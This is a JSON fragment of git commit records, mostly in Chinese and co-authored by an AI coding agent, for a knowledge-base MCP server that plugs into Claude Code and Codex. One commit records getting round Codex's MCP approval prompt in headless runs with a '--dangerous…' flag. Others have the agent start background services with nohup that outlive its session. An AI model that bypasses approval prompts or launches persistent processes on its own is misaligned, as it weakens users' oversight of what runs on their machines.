          "oid": "fd81380b4535a49faa8d07ac0abff4d73db86ecb",
          "body": "\"装过但服务没起\"从\"任务尾提醒用户\"升级为\"AI 自行 nohup 拉起\":\n提醒是把机器能做的事推给人。拉起后 MCP 工具列表需重连才刷新,\n但只读腿(curl /recall,零握手)立即可用——读侧纪律当场恢复,\n写侧等工具刷新后补。\"没装过\"维持提醒安装(装机是用户决定)。\nimpl §9 留痕。\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: 纪律降级门升级为自助拉起——AI 有 shell 就该自己起 serve",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T13:08:03Z",
          "body_truncated": false,
          "is_coding_agent": true
        },
        {
          "oid": "98f2f7c905b7c9b03025923faeb40ec1f639c199",
          "body": "…d 精确判 ..\n\n- serve --auth 时 setup 的 Codex TOML 片段同步打印 [mcp_servers.knowledge.http_headers]\n  Authorization(此前只有 .mcp.json 带头,Codex 侧会 401);impl/README 同步\n- scout 缺省命令改直接 exec.Command(\"claude\", …) 不过 sh -c——含空格的仓库路径\n  不再需要引号运气;自定义 scout_command 维持 shell 模板({mcp} 占位)\n- store.SrcRelOfShard 的逃逸判定从 HasPr\n[…]\nA8 同族:防把 \"..cache\" 这类合法目录名误判为逃逸)\n- CLAUDE.md 命令节补 windows 矩阵表述(与 CI 现状一致)\n- 配套测试:TestSetupPrintsCodexAuthHeaders / scout_test.go 两例 / store 逃逸判定\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "fix: setup 的 Codex 片段补 --auth 头 + scout 缺省命令去 shell 包装 + SrcRelOfShar…",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T13:03:37Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "6fdbcfc3cab4a1fe5cbb5a4c0576a629304f19ae",
          "body": "内容对齐并同步最新能力(hook 写事件记账提醒、来时路、disputes、suspect 欠账、\n只读腿、自启模板、M1.4 结果);两版结构一致,改动须同步双份。\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "docs: README 双语化——英文正本 + README.zh-CN.md 中文版,顶部互链",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T12:37:10Z",
          "body_truncated": false,
          "is_coding_agent": true
        },
        {
          "oid": "94b860c22a2589391e5280e2ed002c97a945201b",
          "body": "上一笔 git add -A 误收编了一份陈旧的 CLAUDE.md 机械替换版(claude→Codex 的\n替换产生了\"禁用 Codex -p\"这类错误纪律,进度节也是旧的)。改为薄入口:\n约定不复制,防两份文档漂移;附 Codex 侧的两点换算(exec 联测方式、MCP 接入段)。\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "fix: AGENTS.md 改薄入口指向 CLAUDE.md 单一正本",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T12:33:28Z",
          "body_truncated": false,
          "is_coding_agent": true
        },
        {
          "oid": "0bbe8ccf7a412b01e883b6bc892e25487652ee00",
          "body": "对抗性复查自己上一轮修复后新发现的七个真缺口:\n- 侦查简报对受限子代理是死指令(与纪律段无降级门同病):简报尾附只读腿 URL\n  (服务端自知地址)+ 代沉淀/代交卷条款\n- README 承诺违约:impl §1 写\"README 提供 launchd/systemd 自启模板\"而 README\n  没有——文档-现实偏离,补齐两份模板(多 repo 单守护示例)\n- hook 只提醒读不催记账:桥透传 tool_name,写事件注入尾附记账提醒\n  (预算裁剪后追加,提醒必须存活)——\"改完的当下\"是遵守率黄金时点\n- 复述检测(警示不拒收):条目 ASCII 词 ≥70% 来自符号签\n[…]\n检测同定案)\n- gitTrail 加 --follow(文件改名来时路不断链)\n- kb_status 的 parseFailed 全库扫描 60s TTL 缓存(最大单项成本,此前只缓存了 git)\n- UsageRecord.Source 区分只读腿与 MCP 调用(统计口径卫生)\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: 再推理二轮短板清盘——简报降级门/hook 记账提醒/复述检测/README 承诺兑现",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T12:31:06Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "5b1255e7334560808857ffe30a3e92c111c5dbaf",
          "body": "实战反馈的三条短板逐一机械解(子代理只读腿已于上笔落地):\n- 冷启动价值低:骨架/suspect/stale 节点的 kb_recall 自动附来时路(该文件近 3 条\n  提交)——零 LLM 成本考古,空骨架至少给「为什么长这样」的入口,还账者有素材写\n  what/why;fresh 已消化节点不附(考古退位给 history)\n- 纪律依赖\"发现不等于修复\":suspect 进欠账队列(suspect-reverify 债,hint 给\n  confirm 重验/refute/补记账三条路;超 20 个聚合一条 mass 债指向 reanchor_all,\n  防刷屏)——冷区 suspect 不再烂着没人管,kb_maintain 有账可领\n- 种子质量:kbeval seed 提示词升级(先 git log 看来时路再读码;只存「代码上看\n  不出来的」,禁复述代码结构)+ kb_status 热点清单同款沉淀门槛提示\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: 三短板全闭环——冷启动来时路 + suspect 进欠账队列 + 种子质量门",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T12:21:27Z",
          "body_truncated": false,
          "is_coding_agent": true
        },
        {
          "oid": "14adefe2eab085af7f12221db4a0f618a3e1918d",
          "body": "casino 真实会话反馈:受限工具集的审计子代理无 kb_* 工具,主 AI 手工转录知识进\n任务书必有损耗(转录错数值被子代理纠正的实例)。补纯 HTTP 只读腿:\n- GET /recall?q=…[&mode=&limit=&session=] / GET /map[?path=&depth=] / GET /status\n  ——输出与同名工具一致,有 shell 即可 curl,零 MCP 配置;同受 auth/origin 门,\n  usage 照记;只读,记账/沉淀仍归主 AI(author 推导与写纪律不被绕过)\n- 纪律段增第 8 条:给无 kb_* 工具的子代理写任务书时附 curl 只读腿,勿手工转录\n- kb_status 覆盖率一位小数(68/15598 取整成 0% 会把按需消化误读成没干活)\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: 子代理只读腿(GET /recall /map /status)+ 覆盖率显示一位小数——实战反馈驱动",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T12:16:24Z",
          "body_truncated": false,
          "is_coding_agent": true
        },
        {
          "oid": "c3adec4c2f271976974374aed4e9507015b07a42",
          "body": "- scout 自派兜底:活动符号检测(✻✶✳✽⏺)+ 信任弹窗回车 + 重投 2 次;\n  启动确认同时监听交卷/退程(非 TUI 侦察兵不画 spinner 直接交卷)\n- kb_status 热点 TOP5→TOP10(对齐 M1.4 种子协议)+ git 计数 60s TTL 缓存(独立小锁)\n- kbeval 退出阶段补确认回车(≤3 次)——遥测丢失根因:后台任务触发 Exit-anyway\n  确认框,硬杀丢 OTEL 终态导出(console 导出主要在退出 flush)\n- 多 repo serve 自动化 e2e(双端口 repoRoot + SIGINT 优雅停机;!wi\n[…]\nal/m14/(第一轮 FAIL 保留,不删败绩)\n- 同日实锤:CI 三平台真机全绿(windows-latest 实跑);Codex 端到端实测通过\n  (内嵌 codex-cli 0.142.5:kb_status/kb_recall/instructions 语义,兼容矩阵补齐)\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: 问题清单清盘 + M1.4 复测 PASS(中位 A/B=59%)",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T11:31:17Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "f5aeeefbea240eb67f9e72c8daf956eb8fe32716",
          "body": "…各期状态 + README/CLAUDE.md 同步\n\n含:M1.4 采集口径定案(OTEL 遥测,弃 /cost 与转录)与第一轮结果销案;\n\"维持不做\"红线明示(tree-sitter/跨仓库/embedding/SQLite/TLS/stmt/摘要自动重算\n——触发信号未现,提前做是过度工程);许可证选型(MIT/Apache-2.0)待用户拍板。\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "docs: 轮 26 全部定案回写——impl §1/§2/§5/§7.3/§7.5/§8/§11 留痕 + knowledge §15 …",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T10:45:48Z",
          "body_truncated": false,
          "is_coding_agent": true
        },
        {
          "oid": "71ee23ce767f8e20b43268b0d43807ad7c6b33e6",
          "body": "cmd/kbeval(评测工装,零三方依赖,复用 internal/pty;禁 claude -p):\nseed 种子消化 / run A-B 双跑(断点续跑,单会话失败不中断)/ report 中位数判定。\n驱动实测三定案:多行提示词括号粘贴;回合启动认 spinner 符号(字节流速被输入框\n回显假触发);2.1.201 转录 jsonl 惰性缓冲不可依赖,计量走 OTEL console 遥测\n(claude_code.token.usage 末次导出跨模型求和;api_request 缺席,轮数不可得)。\n\neval/m14:固定 10 任务(5×N1+5×N2,aibridge)+ \n[…]\n果:\n种子 28 节点(6% 覆盖)后 20 会话零失败——中位 tokens A/B=69% 未达 ≤60% 判 FAIL;\n但 A 赢 9/10、合计 73%、中位用时 -26%。归因:任务半数命中未播种子系统\n(种子只盖热度 TOP5),结构性低估;复测路径留痕 impl §11。\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: M1.4 验收工装 kbeval + 固定任务集 + 第一轮实测数据(判 FAIL 不移动球门)",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T10:45:48Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "8fb199f6049c8c38135adcb86843da69ff3d18b9",
          "body": "二/三/四期可做项全部落地(逐项对照 impl 留痕,维持零重依赖):\n- 全仓调用图:parser CallExtractor(规范名与 Parse 同法)+ engine 归位三规则\n  (同包表/模块内 import/唯一方法基名启发;build-tag 歧义丢边宁缺毋错);\n  casino 886 文件首建 263ms/增量 21ms/1.7 万边\n- 结构扩展检索一跳(命中集沿调用边+流程)、热区排序(kb_status 热点 TOP5,\n  git 90 天改动 × 跨文件被调)、侦查简报附来时路(git 锁外)\n- 非代码知识时间锚(Entry.ConfirmedAt + re\n[…]\n台矩阵 + -race\n- PTY 自派备模式:internal/pty 手写原语(零三方依赖),交卷走协议不解析终端,\n  config scout=self;协议级假侦察兵 E2E 通过;简报括号粘贴(裸 \\n 被 TUI 逐行提交)\n\n8 包 -race 全绿,新增 20+ 测试。\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: 轮 26 设计留白清盘——调用图/结构扩展/热区/时间锚/矛盾裁决/来时路/auth/多repo/Windows/PTY 自派",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T10:45:30Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "a03688772ebdbf7429a7c280ed630993efeab607",
          "body": "问题(用户指出):CLAUDE.md 纪律段是仓库携带的,clone 到没装 iknowledge\n的机器上就是指向不存在工具的死指令。\n\n对照 serena 的一手调研(连接内实测其 initial_instructions + README):\nserena 纯连接携带(instructions 引导 + 手册工具 + 工具描述常驻钩子),\n仓库零文档故无此问题,代价是完全依赖客户端注入;其 MCP 形态本身支持\n任意客户端(含 Codex,README 有 Codex CLI/App 评测)。\n\n我们的对偶设计(impl §9 留痕):\n- 腿①(仓库携带)保留但加降级门:首句声明\"kb\n[…]\nsh 指路)\"——死指令变路标\n- 腿②(连接携带)从一句话扩为紧凑全纪律:能注入 instructions 的客户端\n  不再依赖①;不注入的仍有 13 个工具描述里的微纪律兜底(serena 同款钩子)\n- casino 已贴的 CLAUDE.md/AGENTS.md 两处同步换新版\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: 纪律段自降级门 + instructions 扩为紧凑全纪律(对照 serena 定案)",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T07:05:09Z",
          "body_truncated": true,
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        {
          "oid": "5ab873dd7c7cd3f6ab7d1db89ac8c709e2b596b1",
          "body": "- uninstall.sh(机器级):停全部 serve、删二进制与双宿主 skill,\n  结尾打印项目级残留清单与逐项目清理方法\n- kb-bootstrap skill 增卸载流程:\"卸载当前项目知识库\"触发——停服务、\n  删 .knowledge/、按清单清五处接入痕迹(.mcp.json/CLAUDE.md/AGENTS.md/\n  settings.json hook/codex config.toml);只删己方写入段;动手前须用户确认\n- README 增\"卸载\"一节;impl §9 留痕(对称定案)\n- 实测:①Codex 一句话卸载——项目回到只剩 go.mod/main.go,config.toml\n  的 knowledge 段删除且 trust 段保留(选择性删除正确);②uninstall.sh\n  →install.sh 完整循环,二进制与双宿主 skill 移除/恢复均验证\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: 卸载与安装对称——uninstall.sh + skill 一句话项目级卸载(实测通过)",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T06:16:43Z",
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        {
          "oid": "30fbc31b8f1b366f374bc57fbaa0c8aa78e8b269",
          "body": "- install.sh:go install 二进制 + kb-bootstrap skill 分发到\n  ~/.claude/skills 与 $CODEX_HOME/skills(检测到 Codex 才装);由用户\n  显式执行、只写用户级 skill 目录,处于铁律二(约束二进制)边界之外\n- kb-bootstrap 升级:增 Codex 步骤(config.toml 合并,CODEX_HOME 感知;\n  AGENTS.md 纪律段);serve 改 nohup 脱会话存活;双宿主一句话可用\n- 实测:codex exec(0.142.5,隔离 CODEX_HOME)只说\"初始化当\n[…]\ne 起、/inject 200;\n  install.sh 从 GitHub 真实拉取安装验证通过\n- README:装机段改为 curl | sh 一条命令,双 agent 一句话\n- 坑留痕:headless codex exec 需 </dev/null(否则等 stdin 挂起)\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: install.sh 一键装机 + kb-bootstrap 升级双宿主(Codex 一句话实测通过)",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T06:06:19Z",
          "body_truncated": true,
          "is_coding_agent": true
        },
        {
          "oid": "a4111c15ac2da9874b2fb0ca29e0a53c9e1770db",
          "body": "- 实测(codex-cli 0.142.5,隔离 CODEX_HOME):rmcp streamable HTTP 直连\n  /mcp/main,url 条目原生支持、无需 stdio fallback;服务端不开 SSE 兼容;\n  kb_status ok=True,Mcp-Session-Id 回带(台账/过时警报对 Codex 生效)\n- 行为差异留痕(impl §7.1 M1.2):Codex 对 MCP 工具调用弹审批征询,\n  headless exec 无人应答自动 Cancel(\"user cancelled MCP tool call\"),\n  需 --dangerous\n[…]\n注入机制,\n  注入腿③不适用,靠纪律主动查询\n- iknowledge setup 新增④ Codex 段:config.toml 片段 + AGENTS.md 指引 +\n  审批/多仓库改名说明;测试断言补齐\n- README FAQ:Codex 条目改为\"能用,已实测\"+ 具体接法\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: Codex 接入实测通过——setup 增④段(config.toml/AGENTS.md)",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T05:44:00Z",
          "body_truncated": true,
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        {
          "oid": "4587971ee508db357e66c4d44dc5416748dd66dc",
          "body": "- skills/kb-bootstrap/SKILL.md:主 AI 代跑 install/init/写三件套(读旧\n  合并,不覆盖)/起 serve/验证;iknowledge 二进制仍只写 .knowledge/,\n  三件套代写主体是 agent(impl §1\"由用户/主 AI 自行粘贴\"的落地形态)\n- README 新增\"最省事:对 AI 说一句\"一节(装 skill 的 curl 一行命令)\n- impl §9 留痕:操作型 skill 定位;纪律不做 skill(按需加载违背常驻纪律)\n- PTY 实测通过(sonnet):全新仓库只说\"初始化当前项目知识库\"——AI 自动\n  init、写 .mcp.json/CLAUDE.md/.claude settings(hook 就位)、后台起\n  serve,/inject 探活 200\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: kb-bootstrap 操作型 skill——一句话\"初始化当前项目知识库\"",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
          "committed_at": "2026-07-04T05:36:07Z",
          "body_truncated": false,
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        {
          "oid": "0903e465d80e617ba1810d6740819cfa86381504",
          "body": "- iknowledge setup:打印接入三件套(.mcp.json / CLAUDE.md 纪律段 /\n  .claude/settings.json hook 片段),只打印不代写(铁律二)\n- iknowledge hook:Claude Code PostToolUse hook 桥——stdin 读事件、\n  向上找 .knowledge 定位仓库、GET /inject、additionalContext 输出;\n  任何失败静默退出 0,注入是增强不是依赖,绝不阻塞宿主工具调用\n- impl §7.1 勘误留痕:挂接点 PreToolUse → PostToolUse(现版 \n[…]\n中/cwd 寻根/无节点/坏事件/serve 未启动\n  全静默)+ setup 三件套输出与\"不代写\"断言\n- 实测(casino,48.6 万行):PTY 真实 Claude Code 装 hook 后 Read 文件,\n  分片预埋 pitfall 原文出现在其回答中——注入链全通\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
          "is_bot": false,
          "headline": "feat: 接入套件 setup/hook 子命令 + hook 注入闭环实测 + README 傻瓜部署",
          "author_name": "zdypro888",
          "author_login": "zdypro888",
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          "headline": "ci: actions 升级 checkout@v5 / setup-go@v6(Node 20 弃用告警)",
          "author_name": "zdypro888",
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        {
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          "body": "- 13 个 MCP 工具 + /mcp/main、/mcp/scout 双端点 + GET /inject;\n  手写 JSON-RPC 2.0,零重依赖(仅 gopkg.in/yaml.v3)\n- 会话台账/过时警报/任务态/侦查委派/维护欠账/时代摘要/使用日志;\n  双哈希锚定(Hash 腐烂检测 / StructHash 迁移)与申报式迁移\n- 轮 24:57-agent 对抗审查确认的 42 处真问题全部修复 + 回归测试\n- 轮 25(go-audit 第三方全仓复审):P0=0,修 19 处(P1×3:remember\n  拒收路径污染 keywords 缓存、record_c\n[…]\nframed() 伪造框架标记消毒、ledgerTTL 更名、非回环监听裸奔警示\n- 文档留痕:impl §1/§4/§7.3/kb_task 定案回写,README/CLAUDE.md 进度同步\n\n测试:7 包全绿(含关键包 -race);curl 协议级自测与 serve 冒烟通过。\n\nCo-Authored-By: Claude Fable 5 <noreply@anthropic.com>",
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          "author_name": "zdypro888",
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